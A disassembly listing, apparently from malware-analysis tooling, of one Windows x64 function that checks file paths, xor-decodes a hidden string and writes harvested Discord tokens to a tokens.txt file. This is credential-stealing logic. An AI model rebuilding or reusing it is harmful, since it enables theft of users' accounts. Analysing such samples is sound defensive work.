Function at 0x140010510
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x14002d040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov r12, rdx
mov r15, rcx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
xor r13d, r13d
mov edi, r13d
mov qword [rsp + 0x58], r13
lea rdx, [rsp + 0x30]
call fcn.14000cc90
mov esi, r13d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x1400105db
mov ebx, r13d
add rcx, rdi
cmp qword [rcx + 0x18], 0xf
jbe 0x14001058d
mov rcx, qword [rcx]
lea rdx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x1400105b7
shl rbx, 5
add rbx, qword [rsp + 0x30]
lea r8, [rsp + 0x48]
mov rdx, rbx
mov rcx, r15
call fcn.14000fcb0
inc esi
add rdi, 0x20
movsxd rbx, esi
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
sub rax, rcx
sar rax, 5
cmp rbx, rax
jb 0x140010580
mov rdi, qword [rsp + 0x58]
lea rcx, [rbp + 0xc0]
call fcn.140006f30
mov rbx, rax
movsd xmm0, qword [0x140024d08]
movsd qword [rbp + 0x70], xmm0
mov ecx, dword [0x140024d10]
mov dword [rbp + 0x78], ecx
cmp byte [0x140024d13], r13b
je 0x140010740
mov r8d, r13d
cmp dword [0x14002d090], 2
jl 0x140010700
movdqa xmm4, xmmword [0x140025c10]
movdqa xmm2, xmmword [0x140025bc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmmword [0x140025bf0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [0x140024d08]
xorps xmm2, xmm0
movd dword [rbp + 0x70], xmm2
movdqa xmm2, xmmword [0x140025bd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmmword [0x140025bf0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [rbp + 0x74]
xorps xmm2, xmm0
movd dword [rbp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140010710
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140010760
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x80]
call fcn.1400013b0
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140017080
mov rbx, rax
lea rax, str.tokens.txt
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 0xa
call fcn.1400209d0
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea r8, [rbp + 0x70]
mov edx, eax
lea rcx, [rbp + 0xa0]
call fcn.140004e40
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call fcn.1400050d0
mov rbx, rax
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x140010819
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010814
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
movdqa xmm0, xmmword [0x140025b90]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], r13w
cmp qword [rbx + 0x18], 7
jbe 0x14001083b
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1400183f0
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x1400108ad
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400108a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010901
call fcn.140021eb4
movdqa xmm0, xmmword [0x140025ba0]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x14001090d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010908
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010908
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov rsi, qword [rsp + 0x48]
mov rbx, rsi
mov r14, qword [rsp + 0x50]
cmp rsi, r14
je 0x140010954
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14001092d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x60]
call fcn.140018800
lea rdx, [0x140016dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
add rbx, 0x20
cmp rbx, r14
jne 0x140010920
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140016590
test rax, rax
jne 0x14001098d
mov rax, qword [rsp + 0x60]
movsxd rdx, dword [rax + 4]
lea rcx, [rsp + 0x60]
add rcx, rdx
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.___Discord_tokens:
mov rcx, r12
call fcn.140016be0
mov edx, dword [r15 + 8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140016dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.140015490
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140010a59
mov rdx, qword [rsp + 0x38]
call fcn.140017bd0
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010a91
call fcn.140021eb4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
test rsi, rsi
je 0x140010aa3
mov rdx, r14
mov rcx, rsi
call fcn.140017bd0
sub rdi, rsi
and rdi, 0xffffffffffffffe0
mov rax, rsi
cmp rdi, 0x1000
jb 0x140010a98
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010a98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rsi
call fcn.140021eb4
mov al, 1
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140021970
mov rbx, qword [rsp + 0x250]
add rsp, 0x200
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret